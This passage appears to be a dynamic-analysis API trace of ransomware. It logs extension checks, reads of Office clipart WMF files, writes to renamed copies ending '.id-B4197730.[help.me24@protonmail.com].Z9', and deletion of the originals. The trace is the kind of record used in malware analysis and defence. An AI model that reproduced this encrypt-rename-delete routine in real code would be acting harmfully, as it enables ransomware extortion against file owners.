	[0085.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0085.983] lstrlenW (lpString=".doc") returned 4
	[0085.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.983] lstrlenW (lpString=".docx") returned 5
	[0085.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.983] lstrlenW (lpString=".pdf") returned 4
	[0085.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.983] lstrlenW (lpString=".xls") returned 4
	[0085.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.983] lstrlenW (lpString=".xlsx") returned 5
	[0085.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.983] lstrlenW (lpString=".ppt") returned 4
	[0085.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0085.983] lstrlenW (lpString=".zip") returned 4
	[0085.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.983] lstrlenW (lpString=".rar") returned 4
	[0085.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.983] lstrlenW (lpString=".bz2") returned 4
	[0085.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.983] lstrlenW (lpString=".7z") returned 3
	[0085.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0085.983] lstrlenW (lpString=".dbf") returned 4
	[0085.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0085.983] lstrlenW (lpString=".1cd") returned 4
	[0085.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0085.983] lstrlenW (lpString=".jpg") returned 4
	[0085.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.984] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.984] lstrlenW (lpString="BL00932_.WMF") returned 12
	[0085.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.984] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=19476) returned 1
	[0085.984] CloseHandle (hObject=0x394) returned 1
	[0085.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220
	[0085.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.984] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.984] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.985] GetLastError () returned 0x0
	[0085.985] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x4c14, lpOverlapped=0x0) returned 1
	[0086.295] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x4c20, lpOverlapped=0x0) returned 1
	[0086.296] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.296] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.296] SetEndOfFile (hFile=0x338) returned 1
	[0086.296] CloseHandle (hObject=0x338) returned 1
	[0086.298] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.298] SetEndOfFile (hFile=0x394) returned 1
	[0086.299] CloseHandle (hObject=0x394) returned 1
	[0086.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0086.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1
	[0086.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0086.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0086.299] lstrlenW (lpString=".doc") returned 4
	[0086.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.299] lstrlenW (lpString=".docx") returned 5
	[0086.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.299] lstrlenW (lpString=".pdf") returned 4
	[0086.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.299] lstrlenW (lpString=".xls") returned 4
	[0086.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.299] lstrlenW (lpString=".xlsx") returned 5
	[0086.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.299] lstrlenW (lpString=".ppt") returned 4
	[0086.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0086.300] lstrlenW (lpString=".zip") returned 4
	[0086.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.300] lstrlenW (lpString=".rar") returned 4
	[0086.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.300] lstrlenW (lpString=".bz2") returned 4
	[0086.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.300] lstrlenW (lpString=".7z") returned 3
	[0086.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0086.300] lstrlenW (lpString=".dbf") returned 4
	[0086.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0086.300] lstrlenW (lpString=".1cd") returned 4
	[0086.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0086.300] lstrlenW (lpString=".jpg") returned 4
	[0086.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0086.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0086.300] lstrlenW (lpString=".doc") returned 4
	[0086.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.300] lstrlenW (lpString=".docx") returned 5
	[0086.300] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.300] lstrlenW (lpString=".pdf") returned 4
	[0086.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.300] lstrlenW (lpString=".xls") returned 4
	[0086.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.300] lstrlenW (lpString=".xlsx") returned 5
	[0086.300] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.300] lstrlenW (lpString=".ppt") returned 4
	[0086.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0086.301] lstrlenW (lpString=".zip") returned 4
	[0086.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.301] lstrlenW (lpString=".rar") returned 4
	[0086.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.301] lstrlenW (lpString=".bz2") returned 4
	[0086.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.301] lstrlenW (lpString=".7z") returned 3
	[0086.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0086.301] lstrlenW (lpString=".dbf") returned 4
	[0086.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0086.301] lstrlenW (lpString=".1cd") returned 4
	[0086.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0086.301] lstrlenW (lpString=".jpg") returned 4
	[0086.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.301] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0086.301] lstrlenW (lpString="BS00100_.WMF") returned 12
	[0086.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0086.302] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2378) returned 1
	[0086.302] CloseHandle (hObject=0x394) returned 1
	[0086.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220
	[0086.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0086.302] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.302] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0086.302] GetLastError () returned 0x0
	[0086.302] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x94a, lpOverlapped=0x0) returned 1
	[0086.952] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x950, lpOverlapped=0x0) returned 1
	[0086.953] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.953] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.954] SetEndOfFile (hFile=0x338) returned 1
	[0086.954] CloseHandle (hObject=0x338) returned 1
	[0086.955] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.955] SetEndOfFile (hFile=0x394) returned 1
	[0086.956] CloseHandle (hObject=0x394) returned 1
	[0086.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0086.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1
	[0086.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0086.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0086.956] lstrlenW (lpString=".doc") returned 4
	[0086.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.956] lstrlenW (lpString=".docx") returned 5
	[0086.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.957] lstrlenW (lpString=".pdf") returned 4
	[0086.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.957] lstrlenW (lpString=".xls") returned 4
	[0086.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.957] lstrlenW (lpString=".xlsx") returned 5
	[0086.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.957] lstrlenW (lpString=".ppt") returned 4
	[0086.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0086.957] lstrlenW (lpString=".zip") returned 4
	[0086.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.957] lstrlenW (lpString=".rar") returned 4
	[0086.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.957] lstrlenW (lpString=".bz2") returned 4
	[0086.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.957] lstrlenW (lpString=".7z") returned 3
	[0086.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0086.957] lstrlenW (lpString=".dbf") returned 4
	[0086.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0086.957] lstrlenW (lpString=".1cd") returned 4
	[0086.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0086.957] lstrlenW (lpString=".jpg") returned 4
	[0086.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0086.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0086.958] lstrlenW (lpString=".doc") returned 4
	[0086.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.958] lstrlenW (lpString=".docx") returned 5
	[0086.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.958] lstrlenW (lpString=".pdf") returned 4
	[0086.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.958] lstrlenW (lpString=".xls") returned 4
	[0086.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.958] lstrlenW (lpString=".xlsx") returned 5
	[0086.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.958] lstrlenW (lpString=".ppt") returned 4
	[0086.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0086.958] lstrlenW (lpString=".zip") returned 4
	[0086.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.958] lstrlenW (lpString=".rar") returned 4
	[0086.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.958] lstrlenW (lpString=".bz2") returned 4
	[0086.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.958] lstrlenW (lpString=".7z") returned 3
	[0086.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0086.958] lstrlenW (lpString=".dbf") returned 4
	[0086.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0086.958] lstrlenW (lpString=".1cd") returned 4
	[0086.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0086.959] lstrlenW (lpString=".jpg") returned 4
	[0086.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.959] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0086.959] lstrlenW (lpString="BS00184_.WMF") returned 12
	[0086.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0087.444] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4976) returned 1
	[0087.444] CloseHandle (hObject=0x370) returned 1
	[0087.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220
	[0087.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0087.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0087.445] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.445] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.445] GetLastError () returned 0x0
	[0087.445] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1370, lpOverlapped=0x0) returned 1
	[0087.465] WriteFile (in: hFile=0x37c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1380, lpOverlapped=0x0) returned 1
	[0087.466] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.466] WriteFile (in: hFile=0x37c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.467] SetEndOfFile (hFile=0x37c) returned 1
	[0087.467] CloseHandle (hObject=0x37c) returned 1
	[0087.468] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.468] SetEndOfFile (hFile=0x370) returned 1
	[0087.468] CloseHandle (hObject=0x370) returned 1
	[0087.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0087.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1
	[0087.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0087.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0087.469] lstrlenW (lpString=".doc") returned 4
	[0087.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.469] lstrlenW (lpString=".docx") returned 5
	[0087.469] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.469] lstrlenW (lpString=".pdf") returned 4
	[0087.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.469] lstrlenW (lpString=".xls") returned 4
	[0087.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.469] lstrlenW (lpString=".xlsx") returned 5
	[0087.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.469] lstrlenW (lpString=".ppt") returned 4
	[0087.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0087.470] lstrlenW (lpString=".zip") returned 4
	[0087.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.470] lstrlenW (lpString=".rar") returned 4
	[0087.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.470] lstrlenW (lpString=".bz2") returned 4
	[0087.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.470] lstrlenW (lpString=".7z") returned 3
	[0087.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0087.470] lstrlenW (lpString=".dbf") returned 4
	[0087.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0087.470] lstrlenW (lpString=".1cd") returned 4
	[0087.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0087.470] lstrlenW (lpString=".jpg") returned 4
	[0087.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
